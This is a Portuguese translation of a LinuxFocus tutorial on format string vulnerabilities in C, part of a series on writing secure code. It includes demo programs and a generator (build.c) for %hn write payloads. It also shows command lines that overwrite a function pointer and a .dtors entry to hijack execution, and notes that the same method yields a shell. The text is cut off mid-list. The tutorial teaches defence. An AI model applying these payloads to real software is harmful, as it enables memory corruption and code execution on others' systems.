[LinuxFocus-icon]
Início  |  Mapa  |  Índice  |  Procura

Novidades | Arquivos | Links | Sobre LF
Este artigo está disponível em: English  Deutsch  Francais  Nederlands  Portugues  Russian  Turkce  

convert to palmConvert to GutenPalm
or to PalmDoc

[image of the authors]
por Frédéric Raynal, Christophe Blaess, Christophe Grenier

Sobre o autor:

O Christophe Blaess é um engenheiro aeronáutico independente. Ele é um fã do Linux e faz muito do seu trabalho neste sistema. Coordena a tradução das páginas man publicadas no Projecto de Documentação do Linux.

O Christophe Grenier é um estudante no 5� ano na ESIEA, onde, também trabalha como administrador de sistema. Tem uma paixão por segurança de computadores.

O Frederic Raynal tem utilizado o Linux desde há alguns anos porque não polui, não usa hormonas, não usa MSG ou farinha animal ... reclama somente o suor e a astúcia.


Conteúdo:

 

Evitando Falhas de Segurança a desenvolver uma aplicação - Parte 4: formatação de strings

[article illustration]

Abstrato:

De há algum tempo para cá que anúncios de mensagens acerca da exploração baseadas na formatação de strings são mais numerosas. Este artigo explica de onde vem o perigo e mostrar-lhe-á que uma tentativa para guardar seis bytes é o suficiente para comprometer a segurança de um programa.



 

Onde está o perigo ?

Muitas falhas de segurança provém de má configuração ou desleixo. Esta regra permanece verdadeira para a formatação de strings.

É necessário por vezes, utilizar strings terminadas em null num programa. Onde dentro do programa não é importante aqui. Esta vulnerabilidade é, de novo, acerca da escrita directa para a memória. Os dados para o ataque podem vir da stdin, ficheiros, etc. Uma instrução simples é o suficiente:

printf("%s", str);

Contudo, um programador pode decidir em guardar tempo e seis bytes quando só escreve:

printf(str);

Com a "economia" em mente, o programador abre um potencial buraco no seu trabalho. Ele está satisfeito em passar um única string como argumento a qual ele queria, simplesmente, apresentar sem nenhuma modificação. Contudo esta string será dividida em partes para se procurar directivas de formatação (%d, %g...). Quando um caracter de formatação é descoberto, o argumento correspondente é procurado na pilha.

Introduziremos as funç�es da família printf(). Pelo menos esperamos que toda a gente as conheça ... mas não em detalhe, então lidaremos com os aspectos menos conhecidos destas rotinas. Depois veremos a informação necessária para explorar tal erro. Finalmente veremos como isto se encaixa num simples exemplo.

 

Aprofundando a formatação de strings

Nesta parte consideraremos a formatação de strings. Começaremos com um recurso acerca do seu uso e descobriremos instruç�es de formatação pouco conhecidas que revelaram todo o seu mistério.  

printf() : disseram-me uma mentira !

Nota para os residentes não Franceses: nós temos no nosso simpático país um ciclista corredor que afirma não se ter dopado enquanto que outros membros da sua equipa o admitiam. Afirmou que se dopou não o sabia. Então um famoso fantoche mostrou o uso da frase Fancesa "on m'aurait menti!" o que me inspirou para este artigo.

Comecemos pelo que todos nós aprendemos nos nossos livros de programação: muitas das funç�es de entrada/saída do C utilizam a formatação dos dados o que significa que não só providencia os dados para escrita/leitura bem como o modo de ser apresentado. O programa seguinte ilustra isto:

/* display.c */
#include <stdio.h>

main() {
  int i = 64;
  char a = 'a';
  printf("int  : %d %d\n", i, a);
  printf("char : %c %c\n", i, a);
}
Correndo-o, apresenta:
>>gcc display.c -o display
>>./display
int  : 64 97
char : @ a
O primeiro printf() escreve o valor da variável inteira i e a variável caracter a como int (isto é feito usando %d), o que leva a apresentar o valor ASCII. Por outro lado, o segundo printf() converte a variável inteira i para o correspondente código ASCII que é 64.

Nada de novo - tudo conforme as muitas funç�es com um protótipo semelhante à função printf():

  1. um argumento, na forma de uma string de caracteres(const char *format) é usado para especificar o formato seleccionado;
  2. um ou mais argumentos opcionais, contendo as variáveis nas quais os valores são formatados segundo as indicaç�es dadas na string anterior.

Muitas das nossas liç�es de programação terminam aqui, providenciando uma lista não exaustiva das possíveis formataç�es (%g, %h, %x, e o uso do caracter ponto . para a precisão...) Mas, existe um outro nunca falado: %n. Eis o que diz a página do manual do printf acerca dele:

O número de caracteres escritos até então é guardado num indicador int * (ou variante) num argumento de ponteiro. Nenhum argumento é convertido.

Eis aqui a coisa mais importante deste artigo: este argumento torna possível a escrita numa variável do tipo ponteiro , mesmo quando é usado numa função de apresentação !

Antes de continuarmos, deixem-nos dizer que esta formatação também existe para as funç�es da família scanf() e syslog().

 

Tempo de Jogar

Vamos estudar o uso e o comportamento desta formatação através de pequenos programas. O primeiro, printf1, mostra um simples uso:

/* printf1.c */
1: #include <stdio.h>
2:
3: main() {
4:   char *buf = "0123456789";
5:   int n;
6:
7:   printf("%s%n\n", buf, &n);
8:   printf("n = %d\n", n);
9: }

A primeira chamada do printf() apresenta a string "0123456789" que contém 10 caracteres. A próxima formatação %n escreve o valor da variável n:

>>gcc printf1.c -o printf1
>>./printf1
0123456789
n = 10
Transformemos, ligeiramente, o nosso programa substituindo a instrução printf() da linha 7 pela seguinte:
7:   printf("buf=%s%n\n", buf, &n);

Correndo este novo programa, confirma a nossa ideia: a variável n é agora 14, (10 caracteres da variável string buf mais os 4 caracteres da string constante "buf=", contida na string de formatação).

Então, sabemos que a formatação %n conta cada caracter que aparece na string de formatação. Mais adiante, como demonstraremos com o programa printf2, conta ainda mais:

/* printf2.c */

#include <stdio.h>

main() {
  char buf[10];
  int n, x = 0;

  snprintf(buf, sizeof buf, "%.100d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
}
O uso da função snprintf() é para prevenir de um buffer overflow. A variável n devia ser 10:
>>gcc printf2.c -o printf2
>>./printf2
l = 9
n = 100
Estranho ? De facto, a formatação %n considera a quantidade de caracteres que devem ter sido escritos. Este exemplo que a truncagem tendo em conta o tamanho é ignorada.

O que é que realmente acontece ? A string de formatação é estendida completamente antes de ser cortada e depois copiada para o buffer de destino:

/* printf3.c */

#include <stdio.h>

main() {
  char buf[5];
  int n, x = 1234;

  snprintf(buf, sizeof buf, "%.5d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
  printf("buf = [%s] (%d)\n", buf, sizeof buf);
}
O printf3 contém algumas diferenças comparativamente ao printf2: Obtemos a seguinte apresentação:
>>gcc printf3.c -o printf3
>>./printf3
l = 4
n = 5
buf = [0123] (5)
As duas primeiras linhas não são nenhuma surpresa. A última ilustra o comportamento da função printf() :
  1. A string é substituída, segundo os comandos 1 que contém, o que providência a string "00000\0";
  2. As variáveis são escritas onde e como deviam, o que é ilustrado pela cópia do x no nosso exemplo. Depois a string é algo parecido com "01234\0";
  3. Por último, sizeof buf - 1 bytes2 a partir desta string é copiado na string de destino buf, o que nos dá "0123\0"
Isto não é perfeitamente assim mas reflecte o processo geral. Para mais detalhes, o leitor deve referir-se aos sources da GlibC, em particular a vfprintf() no directório ${GLIBC_HOME}/stdio-common.

Antes de terminarmos esta parte, adicionemos que é possível de obter os mesmos resultados escrevendo a string de formatação de um modo ligeiramente diferente. Previamente, utilizámos a precisão (o ponto '.'). Uma outra combinação de instruç�es de formatação conduz-nos a um resultado idêntico: 0n, onde o n é o número do comprimento , e o 0 significa que os espaços devem ser trocados por 0 no caso de todo o comprimento não ser preenchido.

Agora que sabe tudo acerca da formatação de strings, e muito especialmente acerca da formatação %n, estudaremos os seus comportamentos.

 

A pilha e o printf()

 

Andando através da pilha

O próximo programa guiár-nos-à em toda esta secção para compreendermos como o printf() e a pilha se relacionam:

/* stack.c */
 1: #include <stdio.h>
 2:
 3: int
 4  main(int argc, char **argv)
 5: {
 6:   int i = 1;
 7:   char buffer[64];
 8:   char tmp[] = "\x01\x02\x03";
 9:
10:   snprintf(buffer, sizeof buffer, argv[1]);
11:   buffer[sizeof (buffer) - 1] = 0;
12:   printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
13:   printf ("i = %d (%p)\n", i, &i);
14: }
Este Programa só copia um argumento para o vector de caracteres do buffer. Tomaremos cuidado para não escrevermos por cima de alguns dados importantes ( a formatação de strings são, realmente, mais correctas que os excedimentos de buffer ;-)
>>gcc stack.c -o stack
>>./stack toto
buffer : [toto] (4)
i = 1 (bffff674)
Trabalha como esperávamos :) Antes de avançarmos examinemos o que acontece do ponto de vista da pilha ao chamar o snprintf() na linha 8.
Fig. 1 : A pilha no inicio do snprintf()
snprintf()

A Figura 1 descreve os estado da pilha quando o programa entra na função snprintf() (veremos que isto não é verdade ... mas isto é só para lhe dar uma ideia do que está a acontecer). Não nos importámos com o registo %esp. Está algures abaixo do registo %ebp. Como vimos num artigo anterior, os dois primeiros sectores localizados no %ebp e %ebp+4 contêm as respectivas salvaguardas dos registos %ebp and %ebp+4. Seguindo-se os argumentos da função snprintf():

  1. Endereço de destino;
  2. O número de caracteres a serem copiados;
  3. o endereço da string de formatação argv[1] que também se comporta como dado.
Por último, a pilha é preenchida até cima com o vector tmp de 4 caracteres , com os 64 bytes da variável buffer e a variável inteira;

A string argv[1] é usada ao mesmo tempo como string de formatação e de dados. Segundo a ordem normal da rotina snprintf() o, argv[1] aparece em vez da string de formatação. Visto que pode utilizar a string de formatação sem directivas de formatação (só texto), está tudo bem :)

O que é que acontece quando argv[1] contém também dados de formatação ? ? Normalmente, snprintf() interpreta-as como estão ... e não existe nenhuma razão para agir de outro modo ! Mas aqui, pode querer saber quais os argumentos que vão ser usados para a formatação das strings de resultado. De facto o snprintf() extrai os dados da pilha ! Pode ver isto a partir do nosso programa stack:

>>./stack "123 %x"
buffer : [123 30201] (9)
i = 1 (bffff674)

Primeiro, a string "123 " é copiada para o buffer. O %x pede ao snprintf() para traduzir o seu primeiro valor para hexadecimal. Na figura 1, o primeiro argumento não é mais do que a variável tmp que contém a string \x01\x02\x03\x00. É apresentado como sendo o número hexadecimal 0x00030201 segundo o nosso processador little endian.

>>./stack "123 %x %x"
buffer : [123 30201 20333231] (18)
i = 1 (bffff674)

Adicionando uma segunda variável %x permite-lhe subir na pilha. Dia ao snprintf() para procurar pelos próximos 4 bytes após a variável tmp. Estes 4 bytes são de facto os primeiros 4 bytes do buffer. Contudo, o buffer contém a string "123 ", a qual pode ser vista como o número hexadecimal 0x20333231 (0x20=space, 0x31='1'...). Então, para cada %x, o snprintf() "salta" 4 bytes para além do buffer ( 4 porque o unsigned int só ocupa 4 bytes no processador x86). Esta variável actua como agente duplo, pois:

  1. Escrevendo no destino;
  2. lendo dados de entrada a partir da formatação.
Podemos "percorrer" a pilha desde que o nosso pequeno buffer contenha bytes:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x"
buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378
         0x333837] (63)
i = 1 (bffff654)
 

Mesmo Mais alto

O método anterior permitiu-nos ver informação tal como o endereço de retorno da função que criou a pilha contendo o buffer. Contudo é possível, com a correcta formatação, ver para além do buffer vulnerável.

Pode, ocasionalmente, encontrar um formato útil quando é necessário trocar entre os parâmetros (por exemplo, ao apresentar a data e o tempo). Adicionámos o formato m$, logo após o %, onde o m é um inteiro >0. Isto dá a posição da variável para utilizar uma lista de argumentos (começando por 1):

/* explore.c */
#include <stdio.h>

  int
main(int argc, char **argv) {

  char buf[12];

  memset(buf, 0, 12);
  snprintf(buf, 12, argv[1]);

  printf("[%s] (%d)\n", buf, strlen(buf));
}

O formato utilizando m$ permite-nos ir até onde queremos na pilha, como o podíamos fazer com o gdb:

>>./explore %1\$x
[0] (1)
>>./explore %2\$x
[0] (1)
>>./explore %3\$x
[0] (1)
>>./explore %4\$x
[bffff698] (8)
>>./explore %5\$x
[1429cb] (6)
>>./explore %6\$x
[2] (1)
>>./explore %7\$x
[bffff6c4] (8)

O caracter \ é necessário aqui para proteger o $ e para prevenir a shell do interpretar. Nas três primeiras chamadas visitámos o conteúdo da variável buf. Com %4\$x, obtemos o registo guardado %ebp, e com o próximo %5\$x, o registo guardado %eip (também conhecido como endereço de retorno). Os 2 resultados apresentados aqui, mostram o valor da variável argc e o endereço contido em *argv (lembre-se que **argv quer dizer que *argv é um vector de endereços).

 

Em breve ...

Este exemplo ilustra que os formatos fornecidos permitem-nos percorrer a pilha à procura de informação, como o endereço de retorno de uma função, um endereço ... Contudo vimos que no princípio deste artigo podíamos escrever usando funç�es do tipo printf(): não vos parece isto uma potencial e maravilhosa vulnerabilidade ?

 

Primeiros Passos

Voltemos ao programa stack:

>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [döÿ¿000000000000000000000000000000000000000000000000
00000000000] (63)
i = 500 (bffff664)

Damos como string de entrada:
  1. o endereço da variável i;
  2. uma instrução de formatação (%.496x);
  3. uma segunda instrução de formatação (%n) que escreverá para dentro do endereço dado.
Para determinar o endereço da variável i (aqui 0xbffff664), podemos correr o programa uma segunda vez e alterar a linha de comandos, respectivamente. Como pode notar, aqui o i tem um novo valor :) A string de formatação dada e a organização da pilha fazem o snprintf() parecer-se algo como:
snprintf(buffer,
         sizeof buffer,
         "\x64\xf6\xff\xbf%.496x%n",
         tmp,
         4 primeiros bytes no buffer);

Os primeiros quatro bytes (contendo o endereço i) são escritos no princípio do buffer. O formato %.496x permite-nos livrar-nos da variável tmp que está no principio da pilha. Depois quando a instrução de formatação é o %n, o endereço utilizado é o de i, no principio do buffer. Apesar da precisão requerida ser 496, o snprintf escreve no máximo sessenta bytes (porque o tamanho do buffer 'e 64 e 4 bytes já foram escritos). O valor 496 é arbitrário e é somente utilizado para o "contador de bytes". Vimos que o formato %n guarda o número de bytes que deviam ser escritos. Este valor é 496, ao qual adicionámos 4 a partir dos 4 bytes do endereço i no principio do buffer. Assim contámos 500 bytes. Este valor será escrito no próximo endereço da pilha, que é o endereço do i.

Podemos ainda avançar neste exemplo. Para alterar o i, precisávamos de saber o seu endereço ... mas por vezes o próprio programa fornece-o:

/* swap.c */
#include <stdio.h>

main(int argc, char **argv) {

  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &cpt1;
  int addr_cpt2 = &cpt2;

  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}

Correndo este programa, mostra-se que podemos controlar a pilha (quase) praticamente como queremos:

>>./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
>>./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0

Como pode var, dependendo do argumento, podemos alterar quer o cpt1, quer o cpt2. O formato %n espera um endereço, eis o porquê de não podermos agir directamente nas variáveis (por exemplo usando %3$n (cpt2) ou %4$n (cpt1) ) mas tem de ser directamente através de ponteiros. Os últimos são "carne fresca" com enormes possibilidades para modificação.

 

Variaç�es no mesmo tópico

Os exemplos previamente apresentados provém de um programa compilado com o egcs-2.91.66 e o glibc-2.1.3-22. Contudo, você provavelmente não obterá os mesmos resultados na sua própria experiência. Além disso as funç�es do tipo *printf() alteram-se consoante a glibc e os compiladores não reagem da mesma maneira para operaç�es idênticas.

O programa stuff apresenta estas diferenças:

/* stuff.c */
#include <stdio.h>

main(int argc, char **argv) {

  char aaa[] = "AAA";
  char buffer[64];
  char bbb[] = "BBB";

  if (argc < 2) {
    printf("Usage : %s <format>\n",argv[0]);
    exit (-1);
  }

  memset(buffer, 0, sizeof buffer);
  snprintf(buffer, sizeof buffer, argv[1]);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
}

O vector aaa e bbb são usados como delimitadores na nossa jornada através da pilha. Assim sendo, sabemos que quando encontramos 424242, os bytes seguintes alteram-se no buffer. A Tabela 1 apresenta as diferenças segundo as vers�es da glibc e os compiladores.

Tab. 1 : Variaç�es à volta da glibc    
Compilador
glibc
Apresentação
gcc-2.95.3 2.1.3-16 buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63)
egcs-2.91.66 2.1.3-22 buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63)
gcc-2.96 2.1.92-14 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)
gcc-2.96 2.2-12 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)

A seguir neste artigo, continuaremos a utilizar o egcs-2.91.66 e a glibc-2.1.3-22, mas não se admire de notar algumas diferenças na sua máquina.

 

Explorando o bug da formatação

Enquanto explorando o excedimento do buffer (overflow), utilizámos um buffer para escrever por cima do endereço de retorno de uma função.

Com a formatação de strings, vimos que podemos ir a todo o lado (pilha, heap, bss, .dtors, ...), só temos de dizer onde e o que escrever para o %n fazer o trabalho por nós.

 

O programa vulnerável

Pode explorar o bug de formatação de modos diferentes. O artigo de P. Bouchareine's article (vulnerabilidade da formatação de strings) mostra como escrever por cima do endereço de retorno de uma função, então nós mostraremos algo mais.
/* vuln.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int helloWorld();
int accessForbidden();

int vuln(const char *format)
{
  char buffer[128];
  int (*ptrf)();

  memset(buffer, 0, sizeof(buffer));

  printf("helloWorld() = %p\n", helloWorld);
  printf("accessForbidden() = %p\n\n", accessForbidden);

  ptrf = helloWorld;
  printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

  snprintf(buffer, sizeof buffer, format);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));

  printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf);

  return ptrf();
}

int main(int argc, char **argv) {
  int i;
  if (argc <= 1) {
    fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
    exit(-1);
  }
  for(i=0;i<argc;i++)
    printf("%d %p\n",i,argv[i]);

  exit(vuln(argv[1]));
}

int helloWorld()
{
  printf("Welcome in \"helloWorld\"\n");
  fflush(stdout);
  return 0;
}

int accessForbidden()
{
  printf("You shouldn't be here \"accesForbidden\"\n");
  fflush(stdout);
  return 0;
}

Nós definimos uma variável chamada ptrf que é um ponteiro para a função. Alteraremos o valor deste ponteiro para correr a função que escolhemos.

 

Primeiro Exemplo

Primeiro, temos de obter a diferença entre o principio do buffer vulnerável e a nossa posição corrente na pilha:

>>./vuln "AAAA %x %x %x %x"
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37)
after : ptrf() = 0x8048634 (0xbffff5d4)
Welcome in "helloWorld"

>>./vuln AAAA%3\$x
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5e4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048634 (0xbffff5e4)
Welcome in "helloWorld"

A primeira chamada aqui dá-nos o que precisamos: 3 palavras (uma palavra = 4 bytes para processadores x86) separa-nos do inicio da variável buffer. A segunda chamada com AAAA%3\$x como argumento, confirma isto.

O nosso objectivo é agora substituir o valor inicial do ponteiro ptrf (0x8048634, o endereço da função helloWorld()) com o valor 0x8048654 (endereço da accessForbidden()). Temos de escrever 0x8048654 bytes (134514260 bytes em decimal, algo como 128Mbytes). Nem todos os computadores podem usufruir de tal memória ... mas o que estamos a usar é capaz :) Demora cerca de 20 segundos num pentium duplo a 350 Mhz:

>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n `
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [Ôõÿ¿000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
0000000000000] (127)
after : ptrf() = 0x8048654 (0xbffff5d4)
You shouldn't be here "accesForbidden"

O que é que nós fizemos? Demos somente o endereço de ptrf (0xbffff5d4). A próxima formatação (%.134514256x) lê as primeiras palavras a partir da pilha com uma precisão de 134514256 (já tínhamos escrito 4 bytes a partir do endereço de ptrf, então ainda temos de escrever 134514260-4=134514256 bytes). por último escrevemos o valor pretendido no endereço dado (%3$n).

 

Problemas de memória: dividir e conquistar

Contudo, como o mencionámos, nem sempre é possível utilizar 128 MG em buffers. O formato %n espera um ponteiro para um inteiro, ou seja quatro bytes. É possível alterar o seu comportamento fazendo-o apontar para um short int - só 2 bytes - graças à instrução %hn. Então cortamos o inteiro no qual queremos escrever em duas partes. A parte de escrita maior caberá em 0xffff bytes (65535 bytes). Então no exemplo anterior, transformamos a operação de escrita "0x8048654 no endereço 0xbffff5d4" em duas operaç�es sucessivas: :

A segunda operação de escrita toma lugar nos bytes mais altos do inteiro o que explica o swap dos 2 bytes.

Contudo, %n (ou %hn) conta o número de caracteres escritos para a string. Este número só pode aumentar. Primeiro, temos de escrever o valor ,mais pequeno entre os dois. Depois, a segunda formatação só usará a diferença entre os números necessários e o primeiro número escrito com precisão. Por exemplo, no nosso exemplo, a primeira operação de formatação será de %.2052x (2052 = 0x0804) e a segunda %.32336x (32336 = 0x8654 - 0x0804). Cada %hn colocado logo após a direita gravará a correcta quantidade de bytes.

Só temos de especificar onde escrever ambos %hn. O operador m$ ajudar-nos imenso. Se guardarmos o endereço de inicio do buffer vulnerável, só temos de subir pela pilha para encontrar a distância entre o inicio do buffer e o formato m$. Então, ambos os endereços estarão a um comprimento de m e m+1. Como usamos os primeiros 8 bytes para guardar os endereços para rescrita, o primeiro valor escrito deve ser decrementado por 8.

A nossa string de formatação é algo parecido com:

"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max - val. min.]x%[offset+1]$hn"

O programa build utiliza três argumentos para criar uma string de formatação:

  1. o endereço de rescrita;
  2. o valor para aí escrever;
  3. o comprimento (contado como palavras) desde o inicio do buffer vulnerável.
/* build.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/**
   The 4 bytes where we have to write are placed that way :
   HH HH LL LL
   The variables ending with "*h" refer to the high part
   of the word (H) The variables ending with "*l" refer
   to the low part of the word (L)
 */
char* build(unsigned int addr, unsigned int value,
      unsigned int where) {

  /* too lazy to evaluate the true length ... :*/
  unsigned int length = 128;
  unsigned int valh;
  unsigned int vall;
  unsigned char b0 = (addr >> 24) & 0xff;
  unsigned char b1 = (addr >> 16) & 0xff;
  unsigned char b2 = (addr >>  8) & 0xff;
  unsigned char b3 = (addr      ) & 0xff;

  char *buf;

  /* detailing the value */
  valh = (value >> 16) & 0xffff; //top
  vall = value & 0xffff;         //bottom

  fprintf(stderr, "adr : %d (%x)\n", addr, addr);
  fprintf(stderr, "val : %d (%x)\n", value, value);
  fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
  fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);

  /* buffer allocation */
  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
    fprintf(stderr, "Can't allocate buffer (%d)\n", length);
    exit(EXIT_FAILURE);
  }
  memset(buf, 0, length);

  /* let's build */
  if (valh < vall) {

    snprintf(buf,
         length,
         "%c%c%c%c"           /* high address */
         "%c%c%c%c"           /* low address */

         "%%.%hdx"            /* set the value for the first %hn */
         "%%%d$hn"            /* the %hn for the high part */

         "%%.%hdx"            /* set the value for the second %hn */
         "%%%d$hn"            /* the %hn for the low part */
         ,
         b3+2, b2, b1, b0,    /* high address */
         b3, b2, b1, b0,      /* low address */

         valh-8,              /* set the value for the first %hn */
         where,               /* the %hn for the high part */

         vall-valh,           /* set the value for the second %hn */
         where+1              /* the %hn for the low part */
         );

  } else {

     snprintf(buf,
         length,
         "%c%c%c%c"           /* high address */
         "%c%c%c%c"           /* low address */

         "%%.%hdx"            /* set the value for the first %hn */
         "%%%d$hn"            /* the %hn for the high part */

         "%%.%hdx"            /* set the value for the second %hn */
         "%%%d$hn"            /* the %hn for the low part */
         ,
         b3+2, b2, b1, b0,    /* high address */
         b3, b2, b1, b0,      /* low address */

         vall-8,              /* set the value for the first %hn */
         where+1,             /* the %hn for the high part */

         valh-vall,           /* set the value for the second %hn */
         where                /* the %hn for the low part */
         );
  }
  return buf;
}

int
main(int argc, char **argv) {

  char *buf;

  if (argc < 3)
    return EXIT_FAILURE;
  buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
          strtoul(argv[2], NULL, 16),  /* valeur */
          atoi(argv[3]));              /* offset */

  fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
  printf("%s",  buf);
  return EXIT_SUCCESS;
}

A posição dos argumentos altera-se consoante se o primeiro valor a ser escrito é a parte mais alta ou baixa da palavra. Verifiquemos o que obtemos agora, sem quaisquer problemas de memória.

Primeiro, o nosso simples exemplo, permite-nos advinhar o comprimento:

>>./vuln AAAA%3\$x
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5d4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048644 (0xbffff5d4)
Welcome in "helloWorld"

É sempre o mesmo: 3. Visto que o nosso programa é feito para explorar o que acontece, nós já temos toda a outra informação que precisamos: Os endereços ptrf e accesForbidden(). Construímos o nosso buffer segundo isto:

>>./vuln `./build 0xbffff5d4 0x8048664 3`
adr : -1073744428 (bffff5d4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000
00000000] (127)
after : ptrf() = 0x8048644 (0xbffff5b4)
Welcome in "helloWorld"

Nada acontece ! De facto, vimos que usámos um buffer grande no exemplo anterior da formatação da string, a pilha alterou-se. O ptrf foi de 0xbffff5d4 para 0xbffff5b4). Os nossos valores precisam de ser ajustados:
>>./vuln `./build 0xbffff5b4 0x8048664 3`
adr : -1073744460 (bffff5b4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [¶õÿ¿´õÿ¿0000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x8048664 (0xbffff5b4)
You shouldn't be here "accesForbidden"

Ganhámos!!!  

Outras Exploraç�es

Neste artigo, começamos por provar que os bugs de formatação são uma vulnerabilidade real. Uma outra preocupação é como explorá-los. A exploração do excedimento do buffer (overflow) assenta na escrita do endereço de retorno de uma função. Depois tem de tentar à sorte e rezar imenso para que as suas scripts encontrem os valores correctos (mesmo que a eggshell esteja preenchida de NOP's). Não precisa disto tudo para os bugs de formatação e não fica mais restringido à sobreposição do endereço de retorno.

Vimos que os bugs de formatação permitem-nos escrever em qualquer lado. Então, veremos agora uma explicação baseada na secção .dtors

Quando um programa é compilado com o gcc, pode encontrar uma secção de construção (chamada .ctors) e um destrutor (chamado .dtors). Cada uma destas secç�es contêm ponteiros para as funç�es a serem carregadas antes de função main() e depois sair, respectivamente.

/* cdtors */

void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));

int main() {
  printf("in main()\n");
}

void start(void) {
  printf("in start()\n");
}

void end(void) {
  printf("in end()\n");
}
O nosso programa mostra esse mecanismo:
>>gcc cdtors.c -o cdtors
>>./cdtors
in start()
in main()
in end()
Cada uma destas secç�es é construída do mesmo modo:
>>objdump -s -j .ctors cdtors

cdtors:     file format elf32-i386

Contents of section .ctors:
 804949c ffffffff dc830408 00000000           ............
>>objdump -s -j .dtors cdtors

cdtors:     file format elf32-i386

Contents of section .dtors:
 80494a8 ffffffff f0830408 00000000           ............
Verificamos que os endereços indicados são iguais aos nossas funç�es (atenção: o comando precedente objdump dá-nos os endereços no formato little endian):
>>objdump -t cdtors | egrep "start|end"
080483dc g     F .text  00000012              start
080483f0 g     F .text  00000012              end
Então, estas secç�es contêm os endereços das funç�es que correm no principio (ou no fim), "encaixados" com 0xffffffff e 0x00000000.

Apliquemos isto ao vuln usando a formatação de string. Primeiro temos de ter a localização na memória destas secç�es o que é realmente fácil quando temos o binário à mão ;-) Utilize simplesmente o objdump como fizemos previamente:

>> objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
 8049844 ffffffff 00000000                    ........
Aqui está ! Temos tudo o que precisamos agora.

O objectivo da exploração é substituir o endereço de uma função destas secç�es pelo de uma função que queremos executar. Se as secç�es estão vazias, só se tem de sobrepor o endereço 0x00000000 que indica o fim da secção. Isto dará uma segmentation fault pois o programa não encontrará este endereço 0x00000000, e tomará como próximo valor o endereço de uma função o que provavelmente não é verdade.

De facto, a única secção de interesse é a secção do destrutor (.dtors): não temos tempo de fazer alguma coisa antes da secção do construtor (.ctors). Geralmente, é suficiente sobrepor o endereço em 4 bytes após o inicio da secção (o 0xffffffff):

Voltemos ao nosso exemplo. Substituímos o 0x00000000 na secção .dtors, residente em 0x8049848=0x8049844+4, com o endereço da função accesForbidden(), já conhecido (0x8048664):

>./vuln `./build 0x8049848 0x8048664 3`
adr : 134518856 (8049848)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[JH%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = bffff694 (0xbffff51c)
helloWorld() = 0x8048648
accessForbidden() = 0x8048664

before : ptrf() = 0x8048648 (0xbffff434)
buffer = [JH0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000] (127)
after : ptrf() = 0x8048648 (0xbffff434)
Welcome in "helloWorld"
You shouldn't be here "accesForbidden"
Segmentation fault (core dumped)

Tudo corre bem, o main(), o helloWorld() e depois sai. O destrutor é logo chamado. A secção .dtors é iniciada com o endereço de accesForbidden(). Depois visto que não existe num endereço real de uma função, o esperado coredump ("cadáver") acontece.  

Por favor, Dêem-me a linha de comandos

Vimos pequenas exploraç�es aqui. Usando o mesmo principio, podemos obter uma linha de comandos, quer passando o código da shell através do argv[] ou através de uma variável de ambiente ao programa vulnerável. Só temos de definir o endereço correcto (por exemplo: o endereço da eggshell) na secção .dtors.

Até agora, sabemos:

